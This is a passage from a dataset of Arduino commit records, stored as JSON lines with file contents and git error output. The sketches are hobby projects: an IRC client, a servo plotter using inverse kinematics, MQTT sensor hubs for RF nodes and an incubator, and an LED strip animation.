= NULL;\n else\n arg2 = arg1 + i + 1;\n\n Serial.print(\"Reply ARG: \"); Serial.println((char *)arg1);\n \n \/\/ WAITINIT waits for any sort of reply from the IRC server indicating it has connected\n if (prot_stage == PROT_STAGE_WAITINIT) {\n prot_stage++;\n prot_stage_latched = false;\n return;\n }\n \n \/\/ Perform PING reply\n if (!strcmp((char *)buf, \"PING\")) {\n Serial.print(\"Received PING \"); Serial.print((char *)arg1); Serial.println(\"; sending PONG\");\n client.print(\"PONG \");\n if (arg1[0] == ':')\n client.print((char *)(arg1+1));\n else\n client.print((char *)arg1); \n client.print(\"\\r\\n\");\n }\n \n \/\/ RPY_ENDOFMOTD to advance past USER\n if (prot_stage == PROT_STAGE_USER && !strcmp((char *)arg1, \"376\")) {\n prot_stage++;\n prot_stage_latched = false;\n }\n \n \/\/ RPY_TOPIC to advance past JOIN\n if (prot_stage == PROT_STAGE_JOIN && !strcmp((char *)arg1, \"332\")) {\n prot_stage++;\n prot_stage_latched = false;\n }\n\n \/\/ TODO: Add more stuff! Process more replies.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/lm4f\/libraries\/Ethernet\/examples\/IrcClientExample\/IrcClientExample.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"491f4faa7557a12d1b69bb50adb1a7ba685f45a7","subject":"FINISHED IK","message":"FINISHED IK\n","repos":"SteveMacenski\/BoilerMake---ISS-Tracker-Hack","old_file":"BoilerMake_2015\/BoilerMake_2015\/BoilerMake_2015.ino","new_file":"BoilerMake_2015\/BoilerMake_2015\/BoilerMake_2015.ino","new_contents":"\/\/ code for BoilerMake 2015\n\/\/ Steven Macenski\n\/\/ making a 2D write plotter using arduino\n\/\/ standard 2 link robotics conventions apply and use forward and inverse kinematic solutions to the classical problem\n#include <math.h>\n#include <Servo.h>\n\ndouble l1 = 25; \/\/cm\ndouble l2 = 14; \/\/cm\n\ndouble theta1 = 34;\ndouble theta2 = 128;\n\ndouble x = -14;\ndouble y = -0;\n\nServo link1;\nServo link2;\n\nvoid setup() {\n Serial.begin(9600);\n link1.attach(9);\n link2.attach(10);\n}\n\nvoid loop() {\n \n \/\/reading in values from serial\n while (Serial.available()) {\n x = -Serial.parsefloat();\n y = -Serial.parsefloat();\n } \n\n \/\/ inverse kinematics\n theta2 = atan2(-sqrt(1-((x*x + y*y - l1*l1 - l2*l2)\/(2*l1*l2))), (x*x + y*y - l1*l1 - l2*l2)\/(2*l1*l2));\n theta1 = atan2(y,x) - atan2(l2*sin(theta2), l1 + l2*cos(theta2));\n\n\/\/converting to degrees for writing\ntheta2 = theta2*(57296\/1000);\ntheta1 = theta1*(57296\/1000);\n\ntheta2 = (int)theta2;\ntheta1 = (int)theta1;\n\nif (theta1 < 0 && theta1 >-180){\n theta1 = theta1 + 180;\n}\nif (theta1 < -180 && theta1 > -270) {\n theta1 = theta1 + 270;\n}\nif (theta1 < -270 && theta1 > -360) {\n theta1 = theta1 + 360;\n}\n\nif (theta2 < 0 && theta2 >-180){\n theta2 = theta2 + 180;\n}\nif (theta2 < -180 && theta2 > -270) {\n theta2 = theta2 + 270;\n}\nif (theta2 < -270 && theta2 > -360) {\n theta2 = theta2 + 360;\n}\nSerial.print(theta1);Serial.print(' ');Serial.println(theta2);\n\n\/\/writing to links\nlink1.write(theta1);\nlink2.write(theta2);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BoilerMake_2015\/BoilerMake_2015\/BoilerMake_2015.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d0988288862e33df8d127f5f29dac0afe03016c5","subject":"Clean up, remove data logging, add radioblip2","message":"Clean up, remove data logging, add radioblip2\n","repos":"473856\/Lupinino,473856\/Lupinino,473856\/Lupinino,473856\/Lupinino","old_file":"projects\/YunHub\/YunHub_1.05_MQTT\/YunHub_1.05_MQTT.ino","new_file":"projects\/YunHub\/YunHub_1.05_MQTT\/YunHub_1.05_MQTT.ino","new_contents":"\/\/\n\/\/ Receive RFM12B packets and publish to MQTT server 192.168.178.27\n\/\/ 1) Temperature Node (group 33, node 22)\n\/\/ --> time stamp, RF12 group ID, node ID, Vcc, T1, T2\n\/\/ 2) RFM12B raw data\n\/\/ --> time stamp, RF12 group ID, node ID, all data bytes received\n\/\/\n\/\/ Blink LED #13 for each package received\n\/\/\n\/\/ 150725 YunHub 1.05\n\/\/\n\n#include <Bridge.h>\n#include <JeeLib.h>\n#include <YunClient.h>\n#include <PubSubClient.h>\n\nbyte rf12_group, rf12_nodeid;\nString timeStamp, dataStr, rawdataStr;\nchar message_buff[255];\n\n\/\/ Update these with values suitable for your network.\nbyte server[] = { 192, 168, 178, 27 };\n\n\n\/\/ Temperature node data structure. Timestamp created locally, at time of receival.\nstruct\n{\n String timeStamp; \/\/ \"+%Y-%m-%d %T\": format \"YYYY-MM-DD hh:mm:ss\"\n byte rf12_group; \/\/ RF12 group ID\n byte rf12_nodeid; \/\/ RF12 node ID\n float Vcc; \/\/ Supply voltage\n float T1; \/\/ Temperature reading\n float T2; \/\/ Temperature reading\n} TNodeData;\n\n\n\/\/ Temperature node data structure. Timestamp created locally, at time of receival.\nstruct\n{\n String timeStamp; \/\/ \"+%Y-%m-%d %T\": format \"YYYY-MM-DD hh:mm:ss\"\n byte rf12_group; \/\/ RF12 group ID\n byte rf12_nodeid; \/\/ RF12 node ID\n float Vcc; \/\/ Supply voltage\n} RadioBlip2Data;\n\n\n\/\/ ===========================================================\n\/\/ MQTT callback function, called for incoming messages\n\/\/ ===========================================================\nvoid callback(char *topic, byte *payload, unsigned int length)\n{\n \/\/ counter\n int i = 0;\n \/\/ buffer for payload-to-string conversion\n char message_buff[255];\n\n \/\/ copy payload to buffer, append \\0\n for (i = 0; i < length; i++)\n {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n}\n\nYunClient yun;\nPubSubClient client(server, 1883, callback, yun);\n\nvoid setup ()\n{\n \/\/ start-up the Yun bridge\n Bridge.begin();\n delay(2000);\n\n Serial.begin(57600);\n Serial.println(\"***\");\n Serial.println(\"*** 150725 YunHub 1.05\");\n Serial.println(\"***\");\n\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n\n rf12_initialize(1, RF12_868MHZ, 0); \/\/ group id = 0 to receive from all groups\n}\n\n\nvoid loop ()\n{\n\n if (rf12_recvDone() && rf12_crc == 0)\n {\n\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n\n \/\/ Connect to MQTT server if not available\n if (!client.connected())\n {\n client.connect(\"arduinoYunClient\");\n client.publish(\"ConnectMessage\", \"YunChen connected.\");\n }\n\n \/\/ identify sender via group & nodeid\n \/\/ node id is in the first 5 bits of rf12_hdr --> & RF12_HDR_MASK\n rf12_group = rf12_grp;\n rf12_nodeid = rf12_hdr & RF12_HDR_MASK;\n timeStamp = getTimeStamp();\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Raw Data (group ALL, id ALL) \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n rawdataStr = timeStamp + \",\"\n + String(rf12_group) + \",\"\n + String(rf12_nodeid);\n for (byte i = 0; i < rf12_len; ++i)\n {\n rawdataStr += \",\";\n rawdataStr += rf12_data[i];\n }\n\n \/\/ publish to MQTT server\n rawdataStr.toCharArray(message_buff, 255);\n client.publish(\"RF12_RawData\", message_buff);\n\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ TNode (group 33, id 22) \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (rf12_group == 33 and rf12_nodeid == 22)\n {\n TNodeData.rf12_group = rf12_group;\n TNodeData.rf12_nodeid = rf12_nodeid;\n TNodeData.timeStamp = timeStamp;\n TNodeData.Vcc = int(word(rf12_data[1], rf12_data[0])) \/ 1000.0;\n TNodeData.T1 = int(word(rf12_data[3], rf12_data[2])) \/ 100.0;\n TNodeData.T2 = int(word(rf12_data[5], rf12_data[4])) \/ 100.0;\n \n dataStr = TNodeData.timeStamp + \",\"\n + String(TNodeData.rf12_group) + \",\"\n + String(TNodeData.rf12_nodeid) + \",\"\n + String(TNodeData.Vcc) + \",\"\n + String(TNodeData.T1) + \",\"\n + String(TNodeData.T2);\n\n \/\/ publish interpreted TNode data to MQTT server\n dataStr.toCharArray(message_buff, 255);\n client.publish(\"TNode\", message_buff);\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ RadioBlip2 (group 33, id 17) \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (rf12_group == 33 and rf12_nodeid == 17)\n {\n RadioBlip2Data.rf12_group = rf12_group;\n RadioBlip2Data.rf12_nodeid = rf12_nodeid;\n RadioBlip2Data.timeStamp = timeStamp;\n RadioBlip2Data.Vcc = 1.0 + rf12_data[5] * 0.02;\n \n dataStr = RadioBlip2Data.timeStamp + \",\"\n + String(RadioBlip2Data.rf12_group) + \",\"\n + String(RadioBlip2Data.rf12_nodeid) + \",\"\n + String(RadioBlip2Data.Vcc);\n \n \/\/ publish interpreted TNode data to MQTT server\n dataStr.toCharArray(message_buff, 255);\n client.publish(\"RadioBlip2\", message_buff);\n }\n\n }\n digitalWrite(13, LOW); \/\/ turn the LED off (HIGH is the voltage level)\n client.loop();\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/ This function returns a string with the time stamp\nString getTimeStamp()\n{\n String result;\n Process time;\n \/\/ date is a command line utility to get the date and the time\n \/\/ in different formats depending on the additional parameter\n time.begin(\"date\");\n time.addParameter(\"+%Y-%m-%d %T\"); \/\/ parameters: D for the complete date mm\/dd\/yy, T for the time hh:mm:ss\n time.run(); \/\/ run the command\n\n \/\/ read the output of the command\n while (time.available() > 0)\n {\n char c = time.read();\n if (c != '\\n')\n result += c;\n }\n\n return result;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/YunHub\/YunHub_1.05_MQTT\/YunHub_1.05_MQTT.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"653c7d14d245b7b5bf20edf240c01227e750dd2d","subject":"Error in analogWrite parameter","message":"Error in analogWrite parameter","repos":"futureshocked\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"LCD TFT Screen\/lcd_1\/lcd_1.ino","new_file":"LCD TFT Screen\/lcd_1\/lcd_1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD' did not match any file(s) known to git\nerror: pathspec 'TFT' did not match any file(s) known to git\nerror: pathspec 'Screen\/lcd_1\/lcd_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d21828102ec4d62d24f3359702a1b4a11aceac37","subject":"Create script.ino","message":"Create script.ino","repos":"bmafy\/ardu_incubator","old_file":"script.ino","new_file":"script.ino","new_contents":"#include <ArduinoJson.h>\n#include <Average.h>\n#include <dht11.h>\n#include <SPI.h>\n#include <Ethernet.h>\n#include <PubSubClient.h>\n#include <SD.h>\n\nconst int xPin = A1;\n\/\/#define X_pin 1 \/\/ analog pin connected to X output\nconst int yPin = A2;\n\/\/#define Y_pin 2 \/\/ analog pin connected to Y output\nconst int Dht11BodyPin = 2;\n\/\/#define DHT11_BODY 2\nconst int Dht11AmbPin = 3;\n\/\/#define DHT11_AMB 3\nconst int soundPin = A0;\n\/\/#define heating 24\nconst int heatingPin = 24;\n\/\/#define humid 26\nconst int humidPin = 26;\n\nlong randNumber; \/\/ This variable is used only to test the code without any sensor plugged\nconst int chipSelect = 4;\nFile dataLog;\n\n\/\/ Update these Value with the ones suitable for you\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; \/\/ Ethernet MAC address (DO NOT TOUCH! IT IS STANDARDIZED!)\nbyte raspberry_ip[] = {169, 254, 210, 16}; \/\/ Rasp Pi IP address\nbyte arduino_ip[] = {169, 254, 210, 17}; \/\/ Arduino IP address\nchar raspberry_ip_str[] = \"169.254.210.16\";\nchar arduino_ip_str[] = \"169.254.210.17\";\n\n\/\/ Variable related to --> Joystick\nconst byte size = 11;\nAverage<int> array_X(size);\nAverage<int> array_Y(size);\nconst int sampleWindowAcc = 20;\nint startAcc;\nint k = 0;\nint k1 = 0;\nint xDev = 0;\nint yDev = 0;\n\n\/\/ Variable related to --> Cry_sensor\nconst int sampleWindowS = 200; \/\/ Sample window width in ms (50ms = 20Hz --> 200ms --> 5Hz) for the microphone\nunsigned int sample;\nunsigned long startS; \/\/ Used to determine time starting in millis() for the microphone\nunsigned int signalMax = 0; \/\/ Used to save the maximum in \"sampleWindowS\"\nunsigned int signalMin = 1024; \/\/ Used to save the minimum in \"sampleWindowS\"\nint j = 0;\n\n\n\/\/ Variable related to --> DHT11\nconst int sampleWindowDHT11_1 = 1000; \/\/ Sample window width in mS (50ms = 20Hz --> 200ms --> 5Hz) for DHT11\nconst int sampleWindowDHT11_2 = 1000;\nunsigned long startDHT11_1; \/\/ Used to determine time starting in millis() for DHT11\nunsigned long startDHT11_2;\ndht11 DHT; \/\/ Object DHT11\n\n\/\/ Variable related to --> JSON\nconst int len = 500;\nchar buffer[len];\n\/\/StaticJsonBuffer<len> jsonBuffer;\nDynamicJsonBuffer jsonBuffer;\nJsonObject& sensor = jsonBuffer.createObject();\nJsonObject& DHT11_1 = sensor.createNestedObject(\"DHT11_1\");\nJsonObject& DHT11_2 = sensor.createNestedObject(\"DHT11_2\");\nJsonObject& Acc = sensor.createNestedObject(\"Acc\");\n\/\/JsonArray& TimeAcc = Acc.createNestedArray(\"TimeAcc\");\nJsonArray& Movement = Acc.createNestedArray(\"Movement\");\nJsonObject& Microphone = sensor.createNestedObject(\"Microphone\");\n\/\/JsonArray& Time = Microphone.createNestedArray(\"Time\");\nJsonArray& dB = Microphone.createNestedArray(\"dB\");\nunsigned long startPrint;\n\n\/\/\/\/ Variable related to --> Networking\nEthernetClient ethClient;\nPubSubClient mqttClient(ethClient);\n\nString unix_time;\nString local_time;\n\nboolean heating_state = LOW;\nboolean humid_state = LOW;\n\nvoid setup() {\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n else {\n Serial.println(\"Card initialized\");\n }\n pinMode(humidPin, OUTPUT);\n pinMode(heatingPin, OUTPUT);\n digitalWrite(heatingPin, heating_state);\n digitalWrite(humidPin, humid_state);\n startAcc = millis();\n startS = millis();\n startDHT11_1 = millis();\n startDHT11_2 = millis();\n startPrint = millis();\n Microphone[\"ID\"] = (\"Microphone\");\n DHT11_1[\"ID\"] = (\"DHT11 Sensor1\");\n DHT11_2[\"ID\"] = (\"DHT11 Sensor2\");\n Acc[\"ID\"] = (\"Accelerometer\");\n for (int i = 0; i <= 5; i++) {\n \/\/TimeAcc.add(0);\n Movement.add(0);\n \/\/Time.add(0);\n dB.add(0);\n }\n Serial.begin(9600);\n while (!Serial) {\n \/\/ wait serial port initialization\n }\n mqttClient.setServer(raspberry_ip,1883);\n mqttClient.setCallback(callback);\n\n Ethernet.begin(mac, arduino_ip);\n \/\/ Allow the hardware to sort itself out\n delay(1500);\n}\n\nvoid loop() {\n if (!mqttClient.connected())\n {\n reconnect();\n }\n mqttClient.loop();\n\n readSound(Microphone);\n readDHT11(DHT11_1);\n readDHT11(DHT11_2);\n readAcc(Acc);\n digitalWrite(heatingPin, heating_state);\n digitalWrite(humidPin, humid_state);\n if (millis() - startPrint > 1010) {\n sensor.printTo(Serial);\n Serial.println();\n startPrint = millis();\n }\n}\n\/* ###################################\n # SENSORS #\n ###################################\n*\/\n\nvoid readAcc(JsonObject & SubSensor) {\n \/\/Read from the accelerometer and do somethins...\n mqttClient.publish(\"requesting\", \"unix\");\n mqttClient.publish(\"requesting\", \"local\");\n if (millis() - startAcc > sampleWindowAcc) {\n array_X.push(analogRead(X_pin));\n array_Y.push(analogRead(Y_pin));\n k++;\n startAcc = millis();\n }\n if (k >= 10) {\n k = 0;\n xDev = array_X.stddev();\n yDev = array_Y.stddev();\n\n SubSensor[\"Time\"] = unix_time.toInt(); \/\/Take hour from RPi\n Movement.set(k1, (xDev + yDev) \/ 2);\n k1++;\n if (k1 > 5) {\n k1 = 0;\n SubSensor.printTo(buffer, sizeof(buffer));\n mqttClient.publish(\"accelerometer\", buffer); \/\/ Message published to the topic\n\/\/ Serial.println(buffer);\n\/\/ if (dataLog) {\n\/\/ String r1 = SubSensor[\"ID\"];\n\/\/ dataLog.print(\"ID: \");\n\/\/ dataLog.println(r1);\n\/\/ dataLog.print(\"Value: \");\n\/\/ int a = Acc[\"Movement\"][0];\n\/\/ Serial.println(a);\n\/\/ Movement[0].printTo(buffer,sizeof(buffer))\n\/\/ dataLog.print(Acc[\"Movement\"][0]);\n\/\/ dataLog.print(\", \");\n\/\/ dataLog.println(Acc[Movement][1]);\n\/\/ dataLog.print(\", \");\n\/\/ dataLog.println(Movement[2]);\n\/\/ dataLog.print(\", \");\n\/\/ dataLog.println(Movement[3]);\n\/\/ dataLog.print(\", \");\n\/\/ dataLog.println(Movement[4]);\n\/\/ dataLog.print(\"Time: \");\n\/\/ dataLog.println(local_time);\n\/\/ dataLog.println();\n\/\/ }\n\/\/ else {\n\/\/ Serial.println(\"error opening datalog.txt\");\n\/\/ }\n }\n\n }\n}\n\nvoid readSound(JsonObject & SubSensor) {\n unsigned int peakToPeak = 0; \/\/ peak-to-peak level\n\n sample = analogRead(soundPin);\n if (sample < 1024) \/\/ toss out spurious readings\n if (sample > signalMax)\n signalMax = sample; \/\/ save just the max levels\n else if (sample < signalMin)\n signalMin = sample; \/\/ save just the min levels\n\n if (millis() - startS > sampleWindowS) {\n peakToPeak = signalMax - signalMin; \/\/ max - min = peak-peak amplitude\n double volts = (peakToPeak * 3.3); \/\/ convert to volts\n signalMax = 0;\n signalMin = 1024;\n startS = millis();\n \/\/Time.set(j, 999); \/\/prendi l'ora da rasp\n SubSensor[\"Time\"] = unix_time.toInt(); \/\/Take hour from RPi\n dB.set(j, volts);\n j++;\n if (j > 5) {\n j = 0; \n SubSensor.printTo(buffer, sizeof(buffer));\n mqttClient.publish(\"temperature\", buffer); \/\/ Message published to the topic\n }\n }\n}\n\n\nvoid readDHT11(JsonObject & SubSensor) {\n if ((millis() - startDHT11_1 > sampleWindowDHT11_1) || (millis() - startDHT11_2 > sampleWindowDHT11_2)) {\n mqttClient.publish(\"requesting\", \"unix\");\n mqttClient.publish(\"requesting\", \"local\");\n \/\/ int temp = random(25, 35); \/\/ This variable is used only to test the code without any sensor plugged\n \/\/ int hum = random(10, 100); \/\/ This variable is used only to test the code without any sensor plugged\n int PIN;\n if (SubSensor[\"ID\"] == \"DHT11 Sensor1\") {\n startDHT11_1 = millis();\n PIN = Dht11BodyPin;\n }\n else {\n startDHT11_2 = millis();\n PIN = Dht11AmbPin;\n }\n switch (DHT.read(PIN)) {\n case DHTLIB_OK:\n SubSensor[\"Status\"] = \"OK\";\n break;\n case DHTLIB_ERROR_CHECKSUM:\n SubSensor[\"Status\"] = \"Checksum error\";\n break;\n case DHTLIB_ERROR_TIMEOUT:\n SubSensor[\"Status\"] = \"Time out error\";\n break;\n default:\n SubSensor[\"Status\"] = \"Unknown error\";\n break;\n }\n int temp = DHT.temperature;\n int hum = DHT.humidity;\n SubSensor[\"Temp\"] = temp;\n SubSensor[\"Hum\"] = hum;\n SubSensor[\"Time\"] = unix_time.toInt(); \/\/Take hour from RPi\n \/\/ const char *DHT11_1 = sensor[\"DHT11_1\"].asString();\n \/\/SubSensor.prettyPrintTo(Serial);\n if (dataLog) {\n String r1 = SubSensor[\"ID\"];\n \/\/String r4 = SubSensor[\"Time\"];\n dataLog.print(\"ID: \");\n dataLog.println(r1);\n dataLog.print(\"Temperature: \");\n dataLog.println(temp);\n dataLog.print(\"Humidity: \");\n dataLog.println(hum);\n dataLog.print(\"Time: \");\n dataLog.println(local_time);\n dataLog.println();\n }\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n SubSensor.printTo(buffer, sizeof(buffer));\n mqttClient.publish(\"temperature\", buffer); \/\/ Message published to the topic\n }\n}\n\n\/* ###################################\n # ETHERNET #\n ###################################\n*\/\n\n\n\/\/ This functions is called when a message arrived (it acts as an \"Interrupt\" if you get me ;) )\nvoid callback(char* topic, byte* payload, unsigned int length)\n{\n Serial.print(\"Message arrived on [\");\n Serial.print(topic);\n Serial.print(\"]: \");\n if (dataLog) {\n dataLog.print(\"Message arrived on [\");\n dataLog.print(topic);\n dataLog.print(\"]: \");\n }\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n for (int i = 0; i < length; i++)\n {\n Serial.print((char)payload[i]); \/\/ payload is the message coming from the broker\n dataLog.print((char)payload[i]);\n }\n dataLog.println();\n dataLog.println();\n dataLog.flush();\n Serial.println();\n if (strcmp (topic, \"time_unix\") == 0) {\n unix_time = ((String)(char *)payload).substring(0, (length - 3));\n }\n else if ((strcmp(topic, \"moisturizing\") == 0) || (strcmp(topic, \"heating\") == 0)) {\n String action = (char *)payload;\n action = action.substring(0, length);\n acting(topic, action);\n }\n else if (strcmp (topic, \"time_local\") == 0) {\n local_time = ((String)(char *)payload);\n }\n else {\n Serial.print(\"Topic (\"); Serial.print(topic); Serial.println(\") doesn't recognize!\");\n }\n}\n\nvoid reconnect()\n{\n \/\/ Loop until we're reconnected\n while (!mqttClient.connected())\n {\n Serial.println(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n if (mqttClient.connect(raspberry_ip_str))\n {\n Serial.println(\"Connected!\");\n \/\/ Once connected, publish an announcement...\n \/\/mqttClient.publish(\"outTopic\",\"How r u, RPi?\"); \/\/ Message published to the topic\n \/\/ ... and resubscribe\n \/\/mqttClient.subscribe(\"time_unix\");\n \/\/Serial.println(\"Message published and inTopic subscribed in reconnect()...\");\n mqttClient.subscribe(\"time_unix\");\n mqttClient.subscribe(\"time_local\");\n mqttClient.subscribe(\"heating\");\n mqttClient.subscribe(\"moisturizing\");\n dataLog = SD.open(\"datalog.txt\", FILE_WRITE);\n }\n else\n {\n Serial.print(\"Failed, rc=\");\n Serial.println(mqttClient.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n dataLog.close();\n delay(5000);\n }\n }\n}\n\n\n\/* ###################################\n # ACTING #\n ###################################\n*\/\n\n\nvoid acting(char* topic, String action) {\n Serial.println(\"Entry in acting funcionalities...\");\n if (strcmp(topic, \"heating\") == 0) {\n if (action.equals(\"ON\")) {\n Serial.println(\"Heating ON\");\n heating_state = HIGH;\n if (dataLog) {\n dataLog.println(\"Heating ON\");\n dataLog.println();\n dataLog.flush();\n }\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n \/\/HEATER ON\n }\n else {\n Serial.println(\"Heating OFF\");\n heating_state = LOW;\n if (dataLog) {\n dataLog.println(\"Heating OFF\");\n dataLog.println();\n dataLog.flush();\n }\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n \/\/HEATER OFF\n }\n }\n if (strcmp(topic, \"moisturizing\") == 0) {\n if (action == \"ON\") {\n humid_state = HIGH;\n Serial.println(\"Moisturizing ON\");\n if (dataLog) {\n dataLog.println(\"Moisturizing ON\");\n dataLog.println();\n dataLog.flush();\n }\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n \/\/HUMIDIFIER' ON\n }\n else {\n humid_state = LOW;\n Serial.println(\"Moisturizing OFF\");\n if (dataLog) {\n dataLog.println(\"Moisturizing OFF\");\n dataLog.println();\n dataLog.flush();\n }\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n \/\/HUMIDIFIER OFF\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'script.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7bbf50d25870c3a2b0e5b8cff9249d7ac3548114","subject":"added shift animation with ease in\/out, now replicating random colors with other random colors","message":"added shift animation with ease in\/out, now replicating random colors with other random colors","repos":"jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit,jhogsett\/linkit","old_file":"Arduino\/linkit_duo_led6\/linkit_duo_led6.ino","new_file":"Arduino\/linkit_duo_led6\/linkit_duo_led6.ino","new_contents":"\n#include <PololuLedStrip.h>\nPololuLedStrip<12> ledStrip;\n\n#define RANDOM_SEED_PIN A1\n\n#define EASE_EXPONENT 3 \/\/ cubic\n#define EASE_COUNT 64\n#define EASE_DELAY 4\n#define EASE_ANIM_MARGIN 15\n\n#define ANIM_LED_COUNT 64\n#define LED_COUNT (ANIM_LED_COUNT + EASE_ANIM_MARGIN)\n#define MAX_LED (LED_COUNT)\nrgb_color colors[LED_COUNT];\nrgb_color render[LED_COUNT];\n\nint effects[LED_COUNT];\n\nfloat ease[ANIM_LED_COUNT];\n\n#define BRIGHTNESS_DIVISOR 15.0\n#define DEFAULT_BRIGHTNESS_PERCENT 20\n#define DIM_BRIGHTNESS_PERCENT (DEFAULT_BRIGHTNESS_PERCENT \/ 2)\n#define BRIGHT_BRIGHTNESS_PERCENT (DEFAULT_BRIGHTNESS_PERCENT * 2)\n#define MAX_BRIGHTNESS_PERCENT (DEFAULT_BRIGHTNESS_PERCENT * 4)\n\n#define FADE_RATE 0.9999\n#define FADE_DELAY 10\n#define FADE_TIMES 40\n\n\/\/ Standard colors\nrgb_color black = {0, 0, 0};\nrgb_color gray = {10, 10, 10};\nrgb_color white = {20, 20, 20};\nrgb_color red = {20, 0, 0};\nrgb_color orange = {20, 10, 0};\nrgb_color yellow = {20, 20, 0};\nrgb_color ltgreen = {10, 20, 0};\nrgb_color green = {0, 20, 0};\nrgb_color seafoam = {0, 20, 10};\nrgb_color cyan = {0, 20, 20};\nrgb_color ltblue = {0, 10, 20};\nrgb_color blue = {0, 0, 20};\nrgb_color purple = {10, 0, 20};\nrgb_color magenta = {20, 0, 20};\nrgb_color pink = {20, 0, 10};\nrgb_color dkgray = {5, 5, 5};\n\n#define NPALETTE 16\n#define NPRETTY_COLORS 13\nrgb_color palette[NPALETTE] = { white, red, orange, yellow, ltgreen, green, seafoam, cyan, ltblue, blue, purple, magenta, pink, black, gray, dkgray };\nrgb_color adjusted_palette[NPALETTE];\n\nrgb_color scale_color(rgb_color color, float scale){\n return (rgb_color){\n ((color.red \/ BRIGHTNESS_DIVISOR) * 255) * scale, \n ((color.green \/ BRIGHTNESS_DIVISOR) * 255) * scale, \n ((color.blue \/ BRIGHTNESS_DIVISOR) *255) * scale\n };\n}\n\nvoid set_brightness(int brightness_percent = DEFAULT_BRIGHTNESS_PERCENT){\n float percent = brightness_percent \/ 100.0;\n for(int i = 0; i < NPALETTE; i++){\n adjusted_palette[i] = scale_color(palette[i], percent);\n }\n}\n\n\/\/void flood(rgb_color color){\n\/\/ for(int i = 0; i < LED_COUNT; i++){\n\/\/ if(effects[i] == RANDOM)\n\/\/ colors[i]\n\/\/ colors[i] = color;\n\/\/ }\n\/\/}\n\nvoid erase(bool display = false){\n for(int i = 0; i < ANIM_LED_COUNT; i++){\n colors[i] = black;\n effects[i] = 0;\n }\n if(display){\n ledStrip.write(colors, ANIM_LED_COUNT); \n }\n}\n\nrgb_color add_color(rgb_color color1, rgb_color color2){\n rgb_color new_color;\n new_color.red = min(255, color1.red + color2.red);\n new_color.green = min(255, color1.green + color2.green);\n new_color.blue = min(255, color1.blue + color2.blue);\n return new_color;\n}\n\nrgb_color subtract_color(rgb_color color1, rgb_color color2){\n rgb_color new_color;\n new_color.red = max(0, color1.red - color2.red);\n new_color.green = max(0, color1.green - color2.green);\n new_color.blue = max(0, color1.blue - color2.blue);\n return new_color;\n}\n\nvoid setup_colors(bool swap = true){\n if(swap == true){\n for(int i = 0; i < NPALETTE; i++){\n unsigned char value = palette[i].red;\n palette[i].red = palette[i].green; \n palette[i].green = value;\n }\n }\n memcpy(adjusted_palette, palette, sizeof(palette));\n}\n\n#define NO_EFFECT 0\n#define BREATHE_ON 1\n#define RANDOM 2\n\n#define BLINK_ON 10\n\n\/\/ blink group 1-6\n#define BLINK_ON_1 11\n#define BLINK_ON_2 12\n#define BLINK_ON_3 13\n#define BLINK_ON_4 14\n#define BLINK_ON_5 15\n#define BLINK_ON_6 16\n\n\/\/ blink group a-b\n#define BLINK_ON_A 21\n#define BLINK_ON_B 22\n\n#define BLINK_MIN BLINK_ON \n#define BLINK_MAX BLINK_ON_B\n\n#define STATIC_ON 101\n\nvoid push_color(rgb_color color, bool display = false){\n for(int i = MAX_LED - 1; i >= 1; i--){\n colors[i] = colors[i-1];\n effects[i] = effects[i-1];\n }\n colors[0] = color;\n effects[0] = NO_EFFECT;\n\n if(display){\n ledStrip.write(colors, ANIM_LED_COUNT); \n }\n}\n\n#define MAX_BLINK 6000\n#define BLINK_0 